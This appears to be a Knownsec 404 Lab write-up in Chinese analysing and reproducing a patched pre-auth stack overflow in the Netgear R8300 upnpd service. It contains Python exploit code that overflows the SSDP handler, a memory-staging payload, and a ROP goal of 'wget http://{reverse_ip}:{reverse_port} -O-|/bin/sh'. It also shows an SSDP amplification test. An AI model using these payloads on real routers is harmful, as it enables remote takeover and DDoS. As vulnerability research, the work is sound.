Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现
2020-08-25 16:03:00 Author: paper.seebug.org(查看原文) 阅读量:496 收藏

作者：fenix@知道创宇404实验室
时间：2020年8月25日

R8300 是 Netgear 旗下的一款三频无线路由，主要在北美发售，官方售价 $229.99。

2020 年 7 月 31 日，Netgear 官方发布安全公告，在更新版固件 1.0.2.134 中修复了 R8300 的一个未授权 RCE 漏洞【1】。2020 年 8 月 18 日，SSD Secure Disclosure 上公开了该漏洞的细节及 EXP【2】。

该漏洞位于路由器的 UPnP 服务中， 由于解析 SSDP 协议数据包的代码存在缺陷，导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出，进一步控制 PC 执行任意代码。

回顾了下整个复现流程还是很有趣的，特此记录。

下面先搭建漏洞调试环境。在有设备的情况下，有多种直接获取系统 shell 的方式，如：

  1. 硬件调试接口，如：UART
  2. 历史 RCE 漏洞，如：NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞【3】
  3. 设备自身的后门，Unlocking the Netgear Telnet Console【4】
  4. 破解固件检验算法，开启 telnet 或植入反连程序。

不幸的是，没有设备...

理论上，只要 CPU 指令集对的上，就可以跑起来，所以我们还可以利用手头的树莓派、路由器摄像头的开发板等来运行。最后一个就是基于 QEMU 的指令翻译，可以在现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。

下载固件

Netgear 还是很良心的，在官网提供了历史固件下载。

下载地址：【5】

下载的固件 md5sum 如下：

c3eb8f8c004d466796a05b4c60503162  R8300-V1.0.2.130_1.0.99.zip - 漏洞版本
abce2193f5f24f743c738d24d36d7717  R8300-V1.0.2.134_1.0.99.zip - 补丁版本

binwalk 可以正确识别。

? binwalk R8300-V1.0.2.130_1.0.99.chk

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
58            0x3A            TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0
86            0x56            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes
2206602       0x21AB8A        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38

使用 binwalk -Me 提取出 Squashfs 文件系统，漏洞程序是 ARMv5 架构，动态链接，且去除了符号表。

?  squashfs-root ls
bin   dev   etc   lib   media mnt   opt   proc  sbin  share sys   tmp   usr   var   www
?  squashfs-root find . -name upnpd
./usr/sbin/upnpd
?  squashfs-root file ./usr/sbin/upnpd
./usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

QEMU 模拟

在基于 QEMU 的固件模拟这块，网上也有一些开源的平台，如比较出名的 firmadyne【6】、ARM-X【7】。不过相比于使用这种集成环境，我更倾向于自己动手，精简但够用。

相应的技巧在之前的文章 《Vivotek 摄像头远程栈溢出漏洞分析及利用》【8】 也有提及，步骤大同小异。

在 Host 机上创建一个 tap 接口并分配 IP，启动虚拟机：

sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

用户名和密码都是 root，为虚拟机分配 IP：

ifconfig eth0 192.168.2.2/24

这样 Host 和虚拟机就网络互通了，然后挂载 proc、dev，最后 chroot 即可。

root@debian-armhf:~# ls
squashfs-root
root@debian-armhf:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          inet addr:192.168.2.2  Bcast:192.168.2.255  Mask:255.255.255.0
          inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:96350 errors:0 dropped:0 overruns:0 frame:0
          TX packets:98424 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:7945287 (7.5 MiB)  TX bytes:18841978 (17.9 MiB)
          Interrupt:47

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:55 errors:0 dropped:0 overruns:0 frame:0
          TX packets:55 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:304544 (297.4 KiB)  TX bytes:304544 (297.4 KiB)

root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc
root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev
root@debian-armhf:~# chroot ./squashfs-root/ sh


BusyBox v1.7.2 (2018-12-13 12:34:27 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0 gid=0(root)
#

修复运行依赖

直接运行没有任何报错就退出了，服务也没启动。

经过调试发现是打开文件失败。

手动创建 /tmp/var/run 目录，再次运行提示缺少 /dev/nvram。

NVRAM( 非易失性 RAM) 用于存储路由器的配置信息，而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下，我们可以使用 LD_PRELOAD 劫持以下函数符号。

网上找到一个现成的实现：【9】，交叉编译：

? armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so

还是报错，找不到 dlsym 的符号。之所以会用到 dlsym，是因为该库的实现者还同时 hook 了 system、fopen、open 等函数，这对于修复文件缺失依赖，查找命令注入漏洞大有裨益。

/lib/libdl.so.0 导出了该符号。

? grep -r "dlsym" .
Binary file ./lib/libcrypto.so.1.0.0 matches
Binary file ./lib/libdl.so.0 matches
Binary file ./lib/libhcrypto-samba4.so.5 matches
Binary file ./lib/libkrb5-samba4.so.26 matches
Binary file ./lib/libldb.so.1 matches
Binary file ./lib/libsamba-modules-samba4.so matches
Binary file ./lib/libsqlite3.so.0 matches
grep: ./lib/modules/2.6.36.4brcmarm+: No such file or directory

? readelf -a ./lib/libdl.so.0 | grep dlsym
    26: 000010f0   296 FUNC    GLOBAL DEFAULT    7 dlsym

可以跑起来了，不过由于缺少配置信息，还是会异常退出。接下来要做的就是根据上面的日志补全配置信息，其实特别希望能有一台 R8300，导出里面的 nvram 配置...

简单举个例子，upnpd_debug_level 是控制日志级别的，sub_B813() 是输出日志的函数，只要 upnpd_debug_level > sub_B813() 的第一个参数，就可以在终端输出日志。

下面分享一份 nvram 配置，至于为什么这么设置，可以查看对应的汇编代码逻辑（配置的有问题的话很容易触发段错误）。

upnpd_debug_level=9
lan_ipaddr=192.168.2.2
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF

upnpd 服务成功运行！

该漏洞的原理很简单，使用 strcpy() 拷贝导致的缓冲区溢出，来看看调用流程。

在 sub_1D020() 中使用 recvfrom() 从套接字接受最大长度 0x1fff 的 UDP 报文数据。

在 sub_25E04() 中调用 strcpy() 将以上数据拷贝到大小为 0x634 - 0x58 = 0x5dc 的 buffer。

通过 checksec 可知程序本身只开了 NX 保护，从原漏洞详情得知 R8300 上开了 ASLR。

很容易构造出可控 PC 的 payload，唯一需要注意的是栈上有个 v39 的指针 v41，覆盖的时候将其指向有效地址即可正常返回。

#!/usr/bin/python3

import socket
import struct

p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
    0x604 * b'a' +  # dummy
    p32(0x7e2da53c) +  # v41
    (0x634 - 0x604 - 8) * b'a' +  # dummy
    p32(0x43434343)  # LR
)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()

显然，R4 - R11 也是可控的，思考一下目前的情况：

  1. 开了 NX 不能用 shellcode。
  2. 有 ASLR，不能泄漏地址，不能使用各种 LIB 库中的符号和 gadget。
  3. strcpy() 函数导致的溢出，payload 中不能包含 \x00 字符。

其实可控 PC 后已经可以干很多事了，upnpd 内包含大量 system 函数调用，比如 reboot。

下面探讨下更为 general 的 RCE 利用，一般像这种 ROP 的 payload 中包含 \x00，覆盖返回地址的payload 又不能包含 \x00，就要想办法提前将 ROP payload 注入目标内存。

比如，利用内存未初始化问题，构造如下 PoC，每个 payload 前添加 \x00 防止程序崩溃。

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.2', 1900))
s.send(b'\x00' + b'A' * 0x1ff0)
s.send(b'\x00' + b'B' * 0x633)
s.close()

在漏洞点下断点，

两次拷贝完成后，看下内存布局：

可以看到，由于接收 socket 数据的 buffer 未初始化，在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间，也足以给 ROP 的 payload 一片容身之地。

借用原作者的一张图，利用原理如下：

关于 ROP，使用 strcpy 调用在 bss 上拼接出命令字符串，并调整 R0 指向这段内存，然后跳转 system 执行即可。

原作者构造的 system("telnetd -l /bin/sh -p 9999& ") 绑定型 shell。

经过分析，我发现可以构造 system("wget http://{reverse_ip}:{reverse_port} -O-|/bin/sh") 调用，从而无限制任意命令执行。

构造的关键在于下面这张表。

发送 payload，通过 hook 的日志可以看到，ROP 利用链按照预期工作，可以无限制远程命令执行。 （由于模拟环境的问题，wget 命令运行段错误了...）

在更新版固件 V1.0.2.134 中，用 strncpy() 代替 strcpy()，限制了拷贝长度为 0x5db，正好是 buffer 长度减 1。

补丁中还特意用 memset() 初始化了 buffer。这是由于 strncpy() 在拷贝时，如果 n < src 的长度，只是将 src 的前 n 个字符复制到 dest 的前 n 个字符，不会自动添加 \x00，也就是结果 dest 不包括 \x00，需要再手动添加一个 \x00；如果 src 的长度小于 n 个字节，则以\x00 填充 dest 直到复制完 n 个字节。

结合上面的 RCE 利用过程，可见申请内存之后及时初始化是个很好的编码习惯，也能一定程度上避免很多安全问题。

通过 ZoomEye 网络空间搜索引擎对关键字 "SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0" 进行搜索，共发现 18889 条 Netgear UPnP 服务的 IP 历史记录，主要分布在美国【10】。其中是 R8300 这个型号的会受到该漏洞影响。

说句题外话，由于协议设计缺陷，历史上 UPnP 也被多次曝出漏洞，比如经典的 SSDP 反射放大用来 DDoS 的问题。

在我们的模拟环境中进行测试，发送 132 bytes 的 ST: ssdp:all M-SEARCH 查询请求 ，服务器响应了 4063 bytes 的数据，放大倍率高达 30.8。

因此，建议网络管理员禁止 SSDP UDP 1900 端口的入站请求。

? pocsuite -r upnp_ssdp_ddos_poc.py -u 192.168.2.2 -v 2

,------.                        ,--. ,--.       ,----.   {1.5.9-nongit-20200408}
|  .--. ',---. ,---.,---.,--.,--`--,-'  '-.,---.'.-.  |
|  '--' | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. : .' <
|  | --'' '-' \ `--.-'  `'  ''  |  | |  | \   --/'-'  |
`--'     `---' `---`----' `----'`--' `--'  `----`----'   http://pocsuite.org
[*] starting at 11:05:18

[11:05:18] [INFO] loading PoC script 'upnp_ssdp_ddos_poc.py'
[11:05:18] [INFO] pocsusite got a total of 1 tasks
[11:05:18] [DEBUG] pocsuite will open 1 threads
[11:05:18] [INFO] running poc:'upnp ssdp ddos' target '192.168.2.2'

[11:05:28] [DEBUG] timed out
[11:05:28] [DEBUG] HTTP/1.1 200 OK
ST: upnp:rootdevice
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::upnp:rootdevice

HTTP/1.1 200 OK
ST: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1

HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:InternetGatewayDevice:1

HTTP/1.1 200 OK
ST: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1

HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:device:WANDevice:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANDevice:1

HTTP/1.1 200 OK
ST: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1

HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:device:WANConnectionDevice:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANConnectionDevice:1

HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:Layer3Forwarding:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:Layer3Forwarding:1

HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1

HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:WANEthernetLinkConfig:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANEthernetLinkConfig:1

HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:WANIPConnection:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANIPConnection:1

HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:WANPPPConnection:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANPPPConnection:1


[11:05:28] [+] URL : http://192.168.2.2
[11:05:28] [+] Info : Send: 132 bytes, receive: 4063 bytes, amplification: 30.78030303030303
[11:05:28] [INFO] Scan completed,ready to print

+-------------+----------------+--------+-----------+---------+---------+
| target-url  |    poc-name    | poc-id | component | version |  status |
+-------------+----------------+--------+-----------+---------+---------+
| 192.168.2.2 | upnp ssdp ddos |        |           |         | success |
+-------------+----------------+--------+-----------+---------+---------+
success : 1 / 1

[*] shutting down at 11:05:28

【1】: Netgear 官方安全公告

https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211

【2】: 漏洞详情

https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/

【3】: NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞

https://www.seebug.org/vuldb/ssvid-98253

【4】: Unlocking the Netgear Telnet Console

https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500

【5】: 固件下载

https://www.netgear.com/support/product/R8300.aspx#download

【6】: firmadyne

https://github.com/firmadyne/firmadyne

【7】: ARM-X

https://github.com/therealsaumil/armx

【8】: Vivotek 摄像头远程栈溢出漏洞分析及利用

https://paper.seebug.org/480/

【9】: nvram hook 库

https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c

【10】: ZoomEye 搜索

https://www.zoomeye.org/searchResult?q=%22SERVER%3A%20Linux%2F2.6.12%2C%20UPnP%2F1.0%2C%20NETGEAR-UPNP%2F1.0%22

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